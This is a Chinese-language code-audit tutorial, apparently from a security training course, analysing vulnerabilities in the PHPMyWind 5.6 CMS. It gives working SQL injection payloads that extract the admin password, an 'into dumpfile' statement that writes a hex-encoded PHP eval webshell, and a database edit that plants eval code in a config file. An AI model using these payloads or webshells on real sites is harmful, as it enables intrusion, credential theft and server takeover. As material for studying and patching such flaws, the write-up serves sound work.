一.前言
大家好,我是掌控安全学院的聂风老师
今天写一篇代码审计的文章,分享给同学们学习
这次我们挑选phpMyWind进行审计
PHPMyWind是一个老牌CMS,从2010年开发至今,有15万以上的下载使用量,其安全性也在不断的提高。
好了,大家开始跟着我的思路学习吧。
二.环境搭建
学习漏洞第一件事就是复现环境:
Phpstudy
PHPMyWind 5.6(http://phpmywind.com/downloads/PHPMyWind_5.6.zip)
代码审计工具(这里拿Seay做演示)
三.在审计之前
这个CMS比较老牌,所以我们可以先去查看该CMS的历史漏洞
通过历史漏洞,大致了解CMS的薄弱点,开发人员的思维逻辑等等。
四.审计过程
首先查看index.php文件,开头第一行直接包含了/include/config.inc.php文件,而这个文件又包含了其他好几个文件。
在这些被包含的文件中,我们着重看一下common.inc.php。
common.inc.php定义了一个有魔术引号作用的函数_RunMagicQuotes
再看下面45-58行,一个明显的$$,变量覆盖漏洞
实际上这里是一个方便开发的机制,可以使传参转为变量使用,例如我传参a=123。
那么经过这个处理就变为了$a = 123
这里记住,我们可以定义变量了。
我通过全局搜索查询了下,调用这个文件都是文件的开头为主,然后这个文件中被调用的参数大部分都会先初始化参数,然后处理再进行调用。
然后代码又包含了三个文件
看开发贴心的注释,这是一个全局配置文件,要是变量覆盖这个在包含common.func.php下面就可以飞起了。
这三个文件可以先不看,一个是常用函数,一个是各种配置变量定义,还有一个就是连接数据库的文件。之后就是设置了一些路径之类的变量
然后我们还是回来看index.php,整页就没什么有用的地方了。
各种输出都是读取了数据库里面的数据然后输出。
然后还包含了两个文件,header.php、footer.php,读取这几个PHP后再去按照功能和模块去读取每个文件就行了。
根据我们的信息收集,我们知道了这款CMS,他以前爆过的SQL注入就是因为没用初始化变量SQL,只要想办法跳过这个变量SQL的赋值,就能造成直接传参SQL语句直接执行造成SQL注入。
我们根据这个思想去找漏洞就很简单,找没有初始化过的传参。
五.SQL注入 1
打开admin目录下面的info_update.php文件
我们发现第55行有一个变量id,这个地方如果我们能够控制变量id
那么我们可能就可以对这个CMS进行SQL注入,并且这个变量id都没有被单双引号包裹,
如果存在注入,我们都不需要去考虑魔术引号带来的烦恼。
然后这个文件的第57-59行,就是没有初始化这个$id,而且$id的执行语句在初始化之前,算是被我捡到一只漏网之鱼了。
但是我这个info_update.php并没有初始化参数,
那么我们就可以控制$id的值,就可以进行SQL注入了。
我们再来追踪一下GetOne函数究竟干了什么?
看到include目录下面的MySQLi.class.php文件的第262-294行
SetQuery函数是替换表名的前缀,然后Execute才是真的执行语句函数,
然后追踪这个函数,他的定义在mysql.class.php这个文件的第165-191行
很明显这的第191行是执行,但是这里很明显要过一个CheckSql的检测。
这个函数在这个文件的522行被定义。
这个很明显是80sec的过滤
那么我们可以直接使用语句绕过,毕竟这个过滤也很老了
虽然这里有改动,因为过滤问题这里的SQLmap无法跑出Sql注入,百度下找到一个绕过的80sec语句妥妥的就绕过了。
注入的数据包
GET /admin/info_update.php?id=1 HTTP/1.1 Host: 192.168.32.136 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/74.0.3729.157 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32 Connection: close
然后构建的语句是:
AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))
直接拼接在id传参的后面,可以通过报错注入显示超管的密码。
如果要账号就改子查询里面的语句
通过这个方法,我发现了这个CMS在书写的时候,很多功能差不多的模块核心代码不会变
这里指出的这个SQL注入代码属于核心代码。
只要后台文件名为
***_update.php都存在这个问题。
涉及的文件特别多。
好多文件都中招!
六.SQL注入 2
后面发现的这个SQL注入也是和这个差不多,也属于可以好多文件中招
我们先进行代码分析吧,打开admin目录下面的soft_save.php文件
我们发现第22行有一个函数,我们来看看这个函数干了什么~
这个函数的定义在admin_func.php这个文件的第1315-1417行。
这里定义的这个函数,第一个传参是cid,然后因为我的登陆的账号并不是超管,所以执行了第43行的语句
很明显,这个函数直接将cid拼凑进了SQL语句
那么这个地方如果我们能够控制变量cid,我们可能就可以对这个CMS进行SQL注入,并且这个变量cid都没有被单双引号包裹
如果存在注入,我们都不需要去考虑魔术引号带来的烦恼。
我们看看这个$cid是由什么控制的,是由函数调用时的传参,
那么就是soft_save.php第22行的变量classid。
然而很明显这个$classid没用进行初始化,并且在第二次初始化前就先执行了!!!
然后拿出我写的第一个SQL注入语句轻松拿下。
我来说下怎么注入吧,访问后台的软件下载管理
然后点击右下角的添加软件信息
然后将带*号的栏目填上数据,因为有前端检测。
然后添加,抓包就行,然后将我语句的Payload 加在classid传参就行
AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))
可以直接通过报错注入显示超管的密码。如果要账号就改子查询里面的语句
然后我们会发现这里实际上是调用了IsCategoryPriv函数传参所没有初始化并且拼接进的SQL语句没用使用引号包含造成的SQL注入。
使用了这个函数,然后传参没用初始化的文件也有好多。
七.GetShell 1
后台SQL注入似乎危害不够,进了后台不应该是想着Getshell吗?
那我们来看看我找到的Getshell方法。
admin/database_backup.php这个文件的第43行出现的一个switch,于是乎action传参决定执行哪个功能。
第238行-269行
这里只拦截了删除语句,以及去除反斜杠还有去空格,没有拦截其他的语句,那么我们再去Execute这个函数看看,这个函数在include/mysqli.class.php的166行被定义
这里有一个安全性检测我们去看下,这个函数还是在这个文件被定义,在523行到结束,这里代码有点长,我就贴核心的一块吧。
他过滤了一些常用的黑客函数
比如Union,sleep,benchmark,load_file,into outfile,但是他过滤还是有疏忽,他想到了过滤into outfile,但是没有过滤into dumpfile
所以只要我们使用into dumpfile就可以直接getshell写入一个webshell,但是写文件有个很大的问题就是需要知道他的绝对路径,那么绝对路径我们该怎么办呢?
我们可以看到4g.php这个文件,4g.php的第41行只要我们传参m=show
就会调用templates/default/mobile/show.php
我们来看看这个文件的第24-49行。
很明显这里24行是通过
SELECT * FROM `#@__infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC
去获取$row
我们传参cid他就会去读取
pmw_infoclasee表里面的内容,然后当cid=4的时候,因为49行要输出$row[‘title’]但是获取的参数中没有这个数据,于是乎就抛出了报错。
那么我们就获取了绝对路径,我这个的绝对路径是C:phpstudyWWW
所以我们只要访问http://192.168.32.141//4g.php?m=show&&cid=4,就可以获得绝对路径,然后后台导出吧,为了防止过滤问题,我把导出的一句话写成了16进制。
一句话:<?php @eval($_REQUEST[a]);?>
16进制后:3c3f70687020406576616c28245f524551554553545b615d293b3f3e
于是乎导出语句就是:
select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’
直接访问后台页面,然后选择数据库的执行SQL语句就行
点击执行就行了。成功执行
然后成功导出一句话木马,拿到了webshell
八.Getshell 二(修改数据库内容)
查看后台的site_save.php文件。我们看13行-56行这个分支代码,第56行有一个函数我们来看看是什么作用。
这个函数在这个文件的第131行-163行定义。
实际上就是读取数据库里面的#@__webconfig`表的数据,然后进行遍历,然后拼接进$str这个遍历,然后执行Writef这个函数。
我先解释一下#@__webconfig`是什么表,实际上#@__ 是代替前缀的
当处理的时候就会按照我安装的时候设定的前缀进行替换,我使用的是默认设置pmw作为表前缀,那么这里读取pmw_webconfig的内容,里面有两个if语句,其实看这个$str的阵势都能看出来这里是要写入配置到config.cache.php。
我们先来看这个函数里面的两个if,第一个if他的作用就是判断数据表里面的字段varname如果读出来是cfg_countcode的时候将那条数据的varvalue所对应的值删除反斜杠然后赋值给$row[‘varvalue’]
第二个if就是判断表的vartype字段查出来是不是number,如果不是的话执行
$str .= "${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';rn”
$row[‘varname’] 这个值是我们表里面查到的字段varname的值
$row[‘varvalue’] 这个值是我们表里面查到的字段varvalue的值
然后str_repalce是替换单引号,怕我使用单引号来跳出这个赋值,然后进行Getshell
那么如果$row[‘varname’]=a
$row['varvalue']=b
这个变量str就变为了
<?php if(!defined('IN_PHPMYWIND')) exit('Request Error!'); $a = 'b'; ?>
这里很明显有防范我单引号跳出来造成getshell,我们我们想一下,如果我们能够控制$row[‘varname’]这个值是不是就可以代码执行了,比如这个值为
$row['varname']=a;eval($_REQUEST[a]);//
那么执行就变为了
$a;eval($_REQUEST[a]);//= 'b';
很明显有一句话木马,然后注释了后面,语法也没用问题。
那么核心就是两个,第一个是控制这个$row[‘varname’],控制这个字段很明显就是修改数据库里面的内容呗。
后台功能里面就提供了一个更新数据库的功能,我只需要执行
update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97
成功执行,然后我们看看数据库里面
当然我这样看是偷懒了,用后台自带的数据库执行也是可以查看的。
那么我们通过这个方法已经修改掉了varname,那么如果$str真的是写入文件的话我们的
webshell就到手了。
那我们再看看Writef函数是干什么的,这个函数在common.func.php的第364-389行被定义。
很明显,判断如果函数传参$file的目录存在可写就写入,写入的东西就是函数传参的$str。
那么函数传参的$str不就是前面我们拼凑出来的变量str。
所以这里就是写入文件到config.cache.php文件。
万事俱备了,我们改了数据库内容能让恶意语句拼接进去了。那么我们只要触发就行。具体操作也很简单,我们在站点配置管理随便加一个新站点。
随便写就行,然后提交,我们的一句话就被插进去了。
然后我们只要传参a就行
成功Getshell
九.总结
审计一下,问题就很多。
还有更多问题没有深究,希望新同学能加油,多学习思维,动手去做。